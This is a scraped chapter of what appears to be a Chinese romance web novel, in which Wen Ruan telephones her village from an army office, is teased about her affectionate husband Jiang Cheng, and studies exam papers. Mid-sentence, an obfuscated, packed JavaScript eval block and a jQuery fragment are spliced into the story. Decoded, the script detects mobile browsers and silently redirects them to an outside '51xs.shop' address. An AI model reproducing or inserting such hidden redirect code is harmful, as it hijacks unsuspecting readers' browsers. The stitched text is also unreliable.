“这会儿是休息时间,不会打扰。”
江城领着她走到自己的座位上,把电话挪了出来。
团委办公室六个人,三个团的团长和政委都在这里办公,每个人都有自己独立的电话。
打到公社的电话,温阮熟记于心,电话拨通好一会儿那边才有人说话。
“找谁。”声音冷淡且冲。
“我找泗水村大队长温建国,你能把这个电话留给他吗,就说这是江城部队的电话,让他来开会的时候给我回个电话,我是温阮。”
温阮坐在椅子上,声音柔和,生怕被拒绝。
电话那端听完她的话顿时熟络了起来。
“江团长的电话啊,那行那行,等老温来了,我给他说,不过他家里盖房子,忙得很,现在泗水村正在重新选大队长呢,他估计不打算干了。”
“好,那谢谢您了。”
“客气啥,有事儿再打电话昂。”
电话是温阮主动挂断的,原身也好,她也好,没少往公社打电话,但这次绝对是他们态度最好的一回。
温阮早就建议她爹不要干大队长了,太辛苦,他腿又不方便。
说起来她爹的腿,在家里的时候一直劝他去县里看看,他爹一直不愿意,她也劝不动。
好在她离开家的时候,他爹走路已经不用扶了,这倒是个好的兆头。
想到了家里人,不自觉的眼眶就有些湿。
温阮抬头抹了一把眼角。
把泪意忍了回去,进来的时候好好的,要是出去哭了,部队里指不定怎么传闲话呢。
打工人的基本素养她还是有的,绝对不给老板添麻烦。
江城见她哭了,靠着桌子,俯身捏了捏她的小脸。
“别难受了,你要是真想家,我晚上下班开车带你回去,凌晨咱们再回来,不耽误我上班。”
“开车一来一回也要七八个小时呢,我没事儿。”
温阮从椅子上起来,把电话推了回去。
江城原先整天呆在这个办公室,要么就是训练场,从来不觉得烦,也没像老王他们那样天天算着下班时间。
但是现在他总算知道煎熬是个什么滋味了。
只要一安静下来,就不自觉的琢磨她在家在做什么,有没有想他。
“下午我早点儿回去,咱们去买窗帘。”
“嗯。”
温阮兴致不高。
左右办公室也没有人,江城扶着她的肩膀,低头正要亲她一口,被她一把拦住。
“你身上都是汗味儿。”
江城抬手揪着自己的衣服闻了闻,半干的汗,一股子馊味儿。
身上臭,关我嘴什么事儿。
不过到底也是没敢亲。
温阮就是单纯的没有兴致。
一开门,几个中年人忙忙碌的系鞋带的系鞋带,拍裤子上灰的拍灰,这家伙给他们好一通忙活。
还好没亲,差点儿现场直播了。
“你们是真无聊。”
江城捶了其中一个人一拳,拉着温阮往外走。
“江团长,这两步路还要亲自送啊,你这真是怕人给你抢走啊。”
“你懂什么,江团长正年轻,分开一会儿还不难受死。”
“年轻就是好啊,白天都黏糊成这样,晚上那时间才不够用呢...”
“.....”
听着他们打趣的声音,温软脸都要滴出来血。
“以后我不来这里打电话了。”
羞死个人。
“那我问问江缓怎么给家里安个电话。”
江缓住的地方就是有自己的电话的,虽然说安装起来很麻烦,要走各种程序,但他媳妇要是真想家想的不愿意在这边了,他就得不偿失了。
温阮认识路,但江城非要把她送到家里才走。
走之前还不忘捧着她的脸,狠狠的亲了她一口。
“乖乖在家等我下班。”
说完像阵风一样跑了。
温阮看着他走远了,才完全放松下来。
这活越来越不好干了,江城有点儿黏人精了。
只能化悲愤为力量,一整个下午,除了喝水上厕所她都在做题。
餐桌上摆了一张张的卷子和答案,至少她现在已经能把数学题做及格了。
这些题她其实觉得很简单,但是太久不用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14236750|151418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这些知识了,有很多东西都需要捡起来,特别是一些细节上的小陷阱,更需要她大量的做题。
雨来的很快,将厨房和卧室的窗户吹的哐当哐当的响,灌了一屋子的风。
温阮起身将窗子关上。
雷声,雨声,风声,都被隔绝在外,大雨打到窗户上,嗒嗒作响。
温阮沉浸在数学的海洋里,她看过卷子,语文题对她而言很简单,只是有些需要默背的内容,她打算以后每天早起背诵,数学多刷题把细节捡起来,应该也能考的不错。
英语对她而言是最简单的,不过英语成绩只是做参考,不计入成绩,她没打算在上面浪费时间。
其他副科还好,最难的便是政治,和语文数学一样占了一百分的分值,还是必考的科目,温阮到现在对政治这一门还有些无从下手。
现在的政治和她上学那会儿的政治几乎不是一个东西,倒是和她大学学的那些公共政治课的难度差不多。
政治这一门,她目前还无从下手,毕竟大学的公共政治课,她从来都没抬过头,不是打游戏就是睡觉看课外书。
家里也没表,也没个时间,温阮就这么盲做了三套数学卷子,肉眼可见的一套比一套好,虽然也只是及格的程度。
江城开门进了房间,转过玄关,靠着阳台的黑核桃木餐桌上,他媳妇盘腿坐在椅子上,正伏案做题。
他轻手轻脚的过去。
做题的人毫无察觉。
直到他拿起桌子上已经做好的一套数学卷子,他媳妇才猛地抬头。
“你吓死我了,走路怎么没有声音。”
“这题都是你做的?”
江城翻看着卷子,上面的字体秀气端正,不像是刚学会写字的样子,题虽然占一半都是错的,但能看出来她是有基础的。
至少是高中的水平。
“对啊,刚开始做,错的比较多。”温阮有些不好意思。
而后想起来江城房间里有很多政治一类的书籍,她从一摞教材里抽出政治一本通推到江城跟前。
“你下班有时间能不能给我讲讲政治,我好多都看不懂。”
江城疑惑的看着温阮,仿佛看着另外一个人。